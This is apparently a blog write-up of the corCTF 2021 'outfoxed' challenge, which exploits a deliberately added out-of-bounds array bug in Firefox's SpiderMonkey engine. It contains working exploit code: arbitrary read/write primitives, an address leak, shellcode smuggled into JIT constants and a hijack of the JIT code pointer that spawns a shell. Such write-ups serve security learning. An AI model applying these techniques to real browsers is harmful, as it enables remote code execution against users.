corCTF 2021 - outfoxed
Post

corCTF 2021 - outfoxed

Preview Image

12 hours before the CTF ended, my friend hit me up telling me about the firefox pwn challenge in corCTF. I have never done Firefox/Spidermonkey pwn before, so this has been an awesome learning opportunity for me. Because I started the challenge when not much time was left, this write-up may not fully and correctly convey all technical details. Please keep that in mind and hit me up if you find anything incorrect, I would be happy to learn and update my post!

Challenge Overview

This is a javascript engine pwn challenge and our target is Firefox’s Spidermonkey. We are not provided with the built binaries but with patch file, build config file and commit log. Firefox does not use the regular git VCS like Chrome or V8 so it was a bit more difficult in the beginning for v8 people like me.

Building Spidermonkey

The official build instruction 1 is pretty good already. Building a specific revision and building the debug version is a bit more work.

1
2
3
4
5
6
7
8
9
10
11
12
sudo apt-get install python3 python3-dev
python3 -m pip install --user mercurial
curl https://hg.mozilla.org/mozilla-central/raw-file/default/python/mozboot/bin/bootstrap.py -O
python3 bootstrap.py

cd mozilla-unified

# Or you can just clone the beta repo where the challenge commit is
# hg clone https://hg.mozilla.org/releases/mozilla-beta/ mozilla-unified

# Checkout the correct revision
hg update -r f4922b9e9a6b

To build with the provided config, we just need to copy mozconfig over to mozilla-unified. In my case, I need to build a debug version so here is my config file

1
2
3
4
5
6
# Build only the SpiderMonkey JS test shell
ac_add_options --enable-application=js
ac_add_options --enable-debug
ac_add_options --disable-optimize
ac_add_options --disable-tests
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@

After that, we just do ./mach build and wait. If you run into errors saying no nspr >= 4.32 or something like that, you will need to install nspr-4.32 from source. The result binary will be in obj-debug-x86_64-pc-linux-gnu/dist/bin. To start debugging, just run the js binary in gdb like we do with d8.

The debug version provide the useful dumpObject method, which we can use to get the address and basic layout of objects. To get passed some checks when doing OOB on the debug version, I also introduced some small patches.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
diff --git a/js/src/vm/NativeObject.h b/js/src/vm/NativeObject.h
--- a/js/src/vm/NativeObject.h
+++ b/js/src/vm/NativeObject.h
@@ -573,7 +573,7 @@ class NativeObject : public JSObject {
   HeapSlotArray getDenseElements() const { return HeapSlotArray(elements_); }
 
   const Value& getDenseElement(uint32_t idx) const {
-    MOZ_ASSERT(idx < getDenseInitializedLength());
+    // MOZ_ASSERT(idx < getDenseInitializedLength());
     return elements_[idx];
   }
   bool containsDenseElement(uint32_t idx) {
@@ -1317,7 +1317,7 @@ class NativeObject : public JSObject {
     elements_[index].init(this, HeapSlot::Element, unshiftedIndex(index), val);
   }
   void setDenseElementUnchecked(uint32_t index, const Value& val) {
-    MOZ_ASSERT(index < getDenseInitializedLength());
+    // MOZ_ASSERT(index < getDenseInitializedLength());
     MOZ_ASSERT(!denseElementsAreFrozen());
     checkStoredValue(val);
     elements_[index].set(this, HeapSlot::Element, unshiftedIndex(index), val);

Patch Analysis

Looking at the patch, it is quite obvious that this is an OOB r/w bug in Array. The patch introduce the oob method to Array objects

  • oob(idx) will get the element at index idx
  • oob(idx, val) will set the element at index idx to val
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+  CallArgs args = CallArgsFromVp(argc, vp);
+  RootedObject obj(cx, ToObject(cx, args.thisv()));
+  double index;
+  if (args.length() == 1) {
+    if (!ToInteger(cx, args[0], &index)) {
+      return false;
+    }
+    GetTotallySafeArrayElement(cx, obj, index, args.rval());
+  } else if (args.length() == 2) {
+    if (!ToInteger(cx, args[0], &index)) {
+      return false;
+    }
+    NativeObject* nobj =
+        obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+    if (nobj) {
+      nobj->setDenseElement(index, args[1]);
+    } else {
+      puts("Not dense");
+    }
+    GetTotallySafeArrayElement(cx, obj, index, args.rval());
+  } else {
+    return false;
+  }
+  return true;
+}

Exploit Strategy

OOB r/w is already given to us, but how do we eventually get code execution? There are several things that we need to study:

  1. What does the OOB r/w give us? In particular:
    1. What useful information can we read past the Array boundaries? In this case, we can look for heap pointers and code pointers, especially something like ArrayBuffer’s data pointer because that will give more powerful r/w pritimitives.
    2. Where and what will we write OOB, and to achieve what purpose? To get arbitrary read/write, we can overwrite the data pointer of ArrayBuffer or Array, but we need to locate its OOB offset as well.
  2. How do we get addrof and/or fakeobj?
    1. In v8, we can confuse an Array of double and put an object in the confused Array to get its address. Can this be applicable to SM too?
    2. We can use arbitrary read to read from wherever the address of our object is stored.
  3. How do we get code execution? And how is it different from v8?
    1. Is JIT/WASM rwx page present? (Spoiler alert! It’s gone for a while)
    2. Can we hijack control flow by overwriting code address of native functions?

Most of these questions will be answered throughout the write-up.

Initial OOB

Let’s inspect the layout of an Array in memory to see what’s interesting. The dumpObject function can be used to get the address and layout of object. We can see right away that there is a pointer to the element array at offset 0x10. So if we can corrupt this, we may be able to achieve arbitrary r/w.

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x19ed076006a0
00:0000│   0x19ed076006a0 —▸ 0x244aead9b220 —▸ 0x244aead74208 —▸ 0x555558f2c680 (js::ArrayObject::class_) —▸ 0x555557928831 ◂— ...
01:0008│   0x19ed076006a8 —▸ 0x555557872f38 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│   0x19ed076006b0 —▸ 0x19ed076006c8 ◂— 0x3ff199999999999a
03:0018│   0x19ed076006b8 ◂— 0x400000000
04:0020│   0x19ed076006c0 ◂— 0x400000006
05:0028│   0x19ed076006c8 ◂— 0x3ff199999999999a
06:0030│   0x19ed076006d0 ◂— 0x3ff3333333333333
07:0038│   0x19ed076006d8 ◂— 0x3ff4cccccccccccd

Another interesting object is ArrayBuffer and TypedArray. This is an Uint8Array of length 8 with its data pointer at offst 0x30. Fortunately, we can see that our OOB Array and this TypedArray is really close to each other, which is a perfect layout to corrupt this TypedArray data pointer to get arbitrary r/w.

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x19ed076007a8
00:0000│   0x19ed076007a8 —▸ 0x244aead9bc00 —▸ 0x244aead74280 —▸ 0x555558f40280 (js::TypedArrayObject::classes+48) —▸ 0x5555578a441a ◂— ...
01:0008│   0x19ed076007b0 —▸ 0x555557872f38 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│   0x19ed076007b8 —▸ 0x555557870008 (emptyElementsHeader+16) ◂— 0xfff9800000000000
03:0018│   0x19ed076007c0 ◂— 0xfffa000000000000
04:0020│   0x19ed076007c8 ◂— 0x8
05:0028│   0x19ed076007d0 ◂— 0x0
06:0030│   0x19ed076007d8 —▸ 0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│   0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')

Arbitrary Read/Write

With the information we get from the initial OOB r/w, we have 2 ways to get arbitrary r/w now:

  1. Corrupt the data pointer of an Array after out OOB Array. I tried this initially and ran into some complications with how SM interprets the data. Basically, it is not easy to just point this data pointer to anywhere and read it as a double value (probably due to how SM values are represented, double values and pointers are differentiated, and the array will still interpret the pointer as an object, not a double value.) It was hard to get addrof primitive this way later on, so I switched to the 2nd method below.
  2. Corrupt the data pointer of a TypedArray after out OOB Array. This is the more hassle-free way to read and write data, although we have a relatively small buffer, but 8 bytes is enough, and it is all raw bytes.

We have the following arb r/w primitives:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
arb_offset = 13;
x = new Array(1.1, 1.2, 1.3, 1.4);
victim_ta = new Uint8Array(8);

function arb_read(addr) {
    x.oob(arb_offset, addr.toDouble())
    // Not sure why I need this, maybe not.
    x.oob(arb_offset - 3, (0xfffa000000000000n).toDouble())
    read_ta = new BigUint64Array(victim_ta.buffer);
    return read_ta[0];
}

function arb_write(addr, val) {
    x.oob(arb_offset, addr.toDouble())
    for (var i = 0; i < 8; i++) {
        victim_ta[i] = Number((val >> BigInt(i * 8) & 0xffn))
    }
}

(Weak) Addrof

Reading several resources 2 3, I figured out that setting a property of an object to a target object will allow us to leak the address of that target object. In this case, I was trying to leak address of the JIT-ed function. We can see a pointer to this victim_obj in the memory of victim_ta now.

1
2
victim_obj = sc;
victim_ta.what = victim_obj;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> tele 0x19ed076007a8
00:0000│   0x19ed076007a8 —▸ 0x244aeada1180 —▸ 0x244aead74280 —▸ 0x555558f40280 (js::TypedArrayObject::classes+48) —▸ 0x5555578a441a ◂— ...
01:0008│   0x19ed076007b0 —▸ 0x19ed07600ad8 ◂— 0xfffe19ed076008c8
02:0010│   0x19ed076007b8 —▸ 0x555557870008 (emptyElementsHeader+16) ◂— 0xfff9800000000000
03:0018│   0x19ed076007c0 ◂— 0xfffa000000000000
04:0020│   0x19ed076007c8 ◂— 0x8
05:0028│   0x19ed076007d0 ◂— 0x0
06:0030│   0x19ed076007d8 —▸ 0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│   0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
pwndbg> c
Continuing.
js> dumpObject(sc)
object 19ed076008c8
  global 244aead76090 [global]
  class 555558f3b1e0 Function
  shape 244aead75160
  flags:
  proto <function  at 244aead7b040>
  properties:
js> 

We see that there is a pointer to the object at offset 0x8. The object address is represented differently with the 0xfffe tag, but we can certainly leak this address using the OOB and arbitrary read/write.

1
2
3
4
5
6
7
8
leak_offset = 8
// Leak the pointer containing `what` property object address
leak = x.oob(leak_offset)

// Read the object address
x.oob(arb_offset, leak)
read_ta = new BigUint64Array(victim_ta.buffer);
jitfunc_addr = read_ta[0] & 0xffff_ffffffffn;

It is worth noting that I could only leak the address of object once, and leaking any object again may require building another array and victim layout. For my exploit, this is enough.

Code Execution

This is probably the most interesting part. In v8, we are basically done if we can figure out the address of a rwx WASM page, but in SM, it is not so easy. There is no rwx WASM or JIT page.

The resources suggest that there is a way that way can smuggle executable code into JIT-ed functions, and point the JIT-ed code to the desired code address. We do this by JIT-ing a function with just constant values where they are actually shellcode. Because the code is marked executable, these bytes will be read-executable. The only disadvantage is that we need to hardcode all of these values, so no dynamic shellcode at this stage (e.g. we cannot write shellcode based on some info leak before that). But this is already good enough.

There are 2 tasks left:

  1. Search the memory for the address of our smuggled shellcode.
  2. Figure out the code pointer of a victim JIT-ed function and overwrite this pointer.

In the shellcode function, we put a marker value so we can search for it in memory by scanning:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function sc() {
    sc_marker = 5.40900888e-315;      // 0x41414141 in memory - Used as a way to find
    SC1 = 6.828527034422786e-229;
    SC2 = 7.340387646374746e+223
    SC3 = -5.6323145813786076e+190
    SC4 = 7.748604185565308e-304
    SC5 = 7.591064455398236e+175
    SC6 = 1.773290436458278e-288
    SC7 = 7.748604204935092e-304
    SC8 = 2.1152000545026834e+156
    SC9 = 2.7173154612872197e-71
    SC10 = 1.2811179539027648e+145
    SC11 = 4.0947747766066967e+40
    SC12 = 1.7766685363804036e-302
    SC13 = 3.6509617888350745e+206
    SC14 = -6.828523606646638e-229  
}

for(i = 0; i < 0x1000; i++) {
    sc();
}

rce_offset = jitfunc_addr + 0x28n;
jit_addr = arb_read(rce_offset);
code_addr = arb_read(jit_addr);

sc_start = -1
for (var i = 0; i < 1000; i++) {
    sc_start = code_addr + BigInt(8 * i);
    check = arb_read(sc_start)
    if (check == 0x41414141n) {
        break;
    }
}

// The start of the real shellcode
sc_start += 0x8n;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> search --qword -e 0x41414141
                0x6bb81133a99 add    byte ptr [r8], al /* 'AAAA' */
                0x6bb811345d8 add    byte ptr [r8], al /* 'AAAA' */
pwndbg> x/20gx 0x6bb811345d8
0x6bb811345d8:	0x0000000041414141	0x6e69622fb848686a
0x6bb811345e8:	0xe78948507361622f	0x010101010101b848
0x6bb811345f8:	0x64732eb848500101	0x0431480173646560
0x6bb81134608:	0x0101010101b84824	0x6063b84850010101
0x6bb81134618:	0x314801622c016972	0x5e106a56f6312404
0x6bb81134628:	0x485e156a56e60148	0x01485e186a56e601
0x6bb81134638:	0x6ad231e6894856e6	0x90909090050f583b
0x6bb81134648:	0x00000094361e0b0f	0x0000000000000000
0x6bb81134658:	0x00002759701a0240	0x49d98b4c01084783
0x6bb81134668:	0xfffcfb81412febc1	0x000000f6850f0001
pwndbg> x/20i 0x6bb811345d8+8
   0x6bb811345e0:	push   0x68
   0x6bb811345e2:	movabs rax,0x7361622f6e69622f
   0x6bb811345ec:	push   rax
   0x6bb811345ed:	mov    rdi,rsp
   0x6bb811345f0:	movabs rax,0x101010101010101
   0x6bb811345fa:	push   rax
   0x6bb811345fb:	movabs rax,0x17364656064732e

The only thing left is to overwrite the code pointer of a JIT-ed function and call it. I just choose the sc function itself for simplicity

1
2
3
4
arb_write(jit_addr, sc_start);

// Trigger real shellcode
sc();
1
2
3
4
5
6
7
8
➜  cor ./js exp-cleaned.js
[+] leak = 0x000017a847400a80
[+] jitfunc_addr = 0x000017a847400740
[+] jit_addr = 0x000013c905f981a0
[+] code_addr = 0x000012a59c9190d0
found shellcode
[+] sc_start = 0x000012a59c9195a0
bash: /reader: No such file or directory

To get the flag on the server, I wrote a solve script where you can find in the full solution below.

flag

Conclusion

This is definitely an awesome learning opportunity for me, stepping out of the v8 comfort zone to learn something new. Because the time was tight, I did not focus on fully understand the details so some are missing, like how objects and values are represented. You can check out the resource reading for more in-depth information. I will definitely learn more thoroughly about Spidermonkey after doing this challenge.

Full solution can be found here 4

Footnotes

  1. https://firefox-source-docs.mozilla.org/setup/linux_build.html 

  2. https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#jsvalues-and-jsobjects 

  3. https://webcache.googleusercontent.com/search?q=cache:ySfo3rNPA2kJ:https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/ 

  4. https://github.com/ducphanduyagentp/browser-pwn-advent-calendar/tree/main/06 

This post is licensed under CC BY 4.0 by the author.